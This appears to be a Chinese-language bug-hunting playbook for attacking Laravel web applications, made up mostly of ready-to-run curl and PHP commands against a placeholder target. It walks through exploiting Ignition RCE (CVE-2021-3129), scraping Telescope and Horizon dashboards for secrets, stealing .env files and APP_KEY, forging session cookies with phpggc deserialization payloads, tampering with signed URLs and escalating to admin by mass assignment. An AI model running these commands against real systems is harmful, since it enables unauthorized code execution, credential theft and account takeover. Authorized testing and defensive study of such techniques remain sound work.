hunt-laravel

HUNT-LARAVEL — Laravel 特定漏洞

皇冠级目标

在生产环境启用 Laravel 调试模式 = 可通过 Ignition 立即实现 RCE（CVE-2021-3129）。

最高价值的发现：

• Ignition RCE（CVE-2021-3129） — APP_DEBUG=true + Laravel < 8.4.2 → 无需身份验证即可通过 /_ignition/execute-solution 实现 RCE
• Telescope 仪表板 — /telescope 会暴露完整的请求/响应日志、DB 查询、Redis 命令、计划任务、环境变量
• Horizon 仪表板 — /horizon 会暴露队列任务详情、包含完整负载的失败任务（可能含有 API 密钥、PII）
• 签名 URL 篡改 — 如果 URL::signedRoute 验证了错误的参数 → 绕过签名 URL → 执行未经授权的操作
• .env 暴露 — APP_KEY 泄露 → 解密所有加密 Cookie → 伪造会话 → ATO

---

阶段 1 — 识别 Laravel

# Laravel-specific indicators
curl -sI https://$TARGET/ | grep -i "laravel_session\|x-powered-by.*php"
curl -s https://$TARGET/ | grep -i "laravel\|Illuminate\|csrf-token"

# Common Laravel paths
for path in /storage /public /resources "/vendor/laravel" "/.env" "/artisan"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
  [ "$STATUS" != "404" ] && echo "$path: $STATUS"
done

# Check error page (trigger 404)
curl -s "https://$TARGET/definitely-does-not-exist-xyz" | grep -i "laravel\|Whoops\|Ignition\|symfony"

---

阶段 2 — 调试模式与 Ignition RCE（CVE-2021-3129）

# Step 1: Check if debug mode is enabled (Whoops error page)
curl -s "https://$TARGET/nonexistent" | grep -i "Whoops\|APP_DEBUG\|Ignition"

# If Whoops/Ignition is visible → debug mode ON → test CVE-2021-3129

# Step 2: Check Ignition endpoint
curl -s "https://$TARGET/_ignition/health-check" | head -5

# Step 3: CVE-2021-3129 — Laravel < 8.4.2 RCE via log file manipulation
# (Requires debug mode + writable storage/logs)
# Tool: ambionics/laravel-ignition-rce
git clone https://github.com/ambionics/laravel-ignition-rce /tmp/laravel-rce
php /tmp/laravel-rce/exploit.php https://$TARGET "id"

# Manual test — send solution request
curl -s -X POST "https://$TARGET/_ignition/execute-solution" \
  -H "Content-Type: application/json" \
  -d '{
    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    "parameters": {
      "variableName": "x",
      "viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"
    }
  }'

---

阶段 3 — Laravel Telescope 与 Horizon

# Telescope — request/response logs, DB queries, jobs, cache, events
curl -s "https://$TARGET/telescope" | grep -i "telescope\|laravel"
curl -s "https://$TARGET/telescope/api/requests" | python3 -m json.tool 2>/dev/null | head -50
curl -s "https://$TARGET/telescope/api/commands" | python3 -m json.tool 2>/dev/null | head -30
curl -s "https://$TARGET/telescope/api/redis" | python3 -m json.tool 2>/dev/null | head -30
curl -s "https://$TARGET/telescope/api/environment" | python3 -m json.tool 2>/dev/null | head -50

# Horizon — queue worker dashboard
curl -s "https://$TARGET/horizon" | grep -i "horizon\|laravel"
curl -s "https://$TARGET/horizon/api/stats" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/horizon/api/jobs/failed" | python3 -m json.tool 2>/dev/null | head -50
# Failed job payloads often contain full request data including auth tokens

# Common paths
for path in /telescope /telescope/requests /telescope/api /horizon /horizon/api/stats; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
  [ "$STATUS" = "200" ] && echo "[+] ACCESSIBLE: $TARGET$path"
done

---

阶段 4 — .env 文件与 APP_KEY 暴露

# Direct .env access
curl -s "https://$TARGET/.env" | grep -i "APP_KEY\|DB_PASSWORD\|SECRET\|KEY"
curl -s "https://$TARGET/.env.production"
curl -s "https://$TARGET/.env.backup"
curl -s "https://$TARGET/.env.local"

# If APP_KEY found:
APP_KEY="base64:XXXXXXX"
echo "APP_KEY=$APP_KEY"
# → Can decrypt all Laravel encrypted cookies
# → Can forge session cookies → ATO for any user

# Also check
curl -s "https://$TARGET/storage/logs/laravel.log" | tail -100 | grep -i "exception\|error\|key\|password"

---

阶段 4b — 通过查询参数覆盖环境（CVE-2024-52301）

当 register_argc_argv=On（php.ini）时，Laravel 会将查询字符串解析为 CLI 参数，因此 ?--env= 可通过 HTTP 覆盖 APP_ENV → 将应用切换为 local/testing 配置（启用调试、使用预置凭据、降低防护强度）。

curl -s "https://$TARGET/?--env=local"          # force debug/local config
curl -s "https://$TARGET/login?--env=testing"    # swap to testing DB/config
# Confirm: debug/Whoops page or a different env banner. Fixed 11.31.0 / 10.48.23 / 9.52.17.

阶段 5 — 签名 URL 篡改

# Laravel signed URLs contain signature param: ?signature=HASH
# Find signed URL endpoints
cat recon/$TARGET/urls.txt | grep "signature="

# Test: modify a non-signature parameter — should fail validation
SIGNED_URL="https://$TARGET/unsubscribe?user=123&[email protected]&signature=VALID_SIG"

# Modify user ID → should fail if properly signed
curl -s "${SIGNED_URL/user=123/user=999}"

# Test signature bypass: remove signature entirely
curl -s "${SIGNED_URL/&signature=VALID_SIG/}"

# Test: does the app validate ALL parameters or just some?
curl -s "${SIGNED_URL}&extra=malicious"

---

阶段 6 — 通过 Eloquent 批量赋值

# Laravel Eloquent ORM — if model uses $guarded=[] or $fillable=[] improperly
# Test: add extra fields to update/create requests

# Profile update
curl -s -X POST "https://$TARGET/api/profile" \
  -H "Cookie: laravel_session=SESSION" \
  -H "Content-Type: application/json" \
  -d '{"name": "Test", "email": "[email protected]", "is_admin": true, "role": "admin"}'

# Registration
curl -s -X POST "https://$TARGET/api/register" \
  -H "Content-Type: application/json" \
  -d '{"name": "Test", "email": "[email protected]", "password": "test123", "verified": true, "admin": 1}'

---

阶段 7 — Laravel Cookie 反序列化

# If APP_KEY is known, forge a session cookie with malicious serialized payload
# Uses phpggc gadget chains

# Get the app key
APP_KEY=$(curl -s "https://$TARGET/.env" | grep "^APP_KEY=" | cut -d= -f2)

# Generate payload with phpggc
php phpggc Laravel/RCE5 system 'id' | base64

# Sign the cookie with the app key using laravel-cookie-forge script
# python3 laravel_cookie_forge.py --key "$APP_KEY" --payload "PHPGGC_PAYLOAD"

---

漏洞链表

Laravel 发现	链接到	影响
调试模式已开启	CVE-2021-3129 Ignition RCE	严重 RCE
可访问 Telescope	读取 API 密钥、DB 查询、环境变量	高 — 凭据窃取
可访问 Horizon	读取失败任务负载	高 — PII/令牌外泄
暴露了含 APP_KEY 的 .env	伪造会话 Cookie → ATO	严重 ATO
签名 URL 绕过	执行未经授权的操作（如取消订阅任意用户等）	中高
批量赋值	设置 is_admin=true → 权限提升	严重

---

验证

✅ Ignition RCE：响应中返回 id 命令的输出 ✅ Telescope：API 响应中包含带凭据或用户令牌的 DB 查询 ✅ APP_KEY：伪造的会话 Cookie 被接受，并返回其他用户的个人资料 ✅ 批量赋值：接受 is_admin: true，账户现已拥有管理员权限

严重程度：

• Ignition RCE：严重
• 含敏感数据的 Telescope/Horizon：高
• 含 APP_KEY 的 .env：严重
• 批量赋值为管理员：严重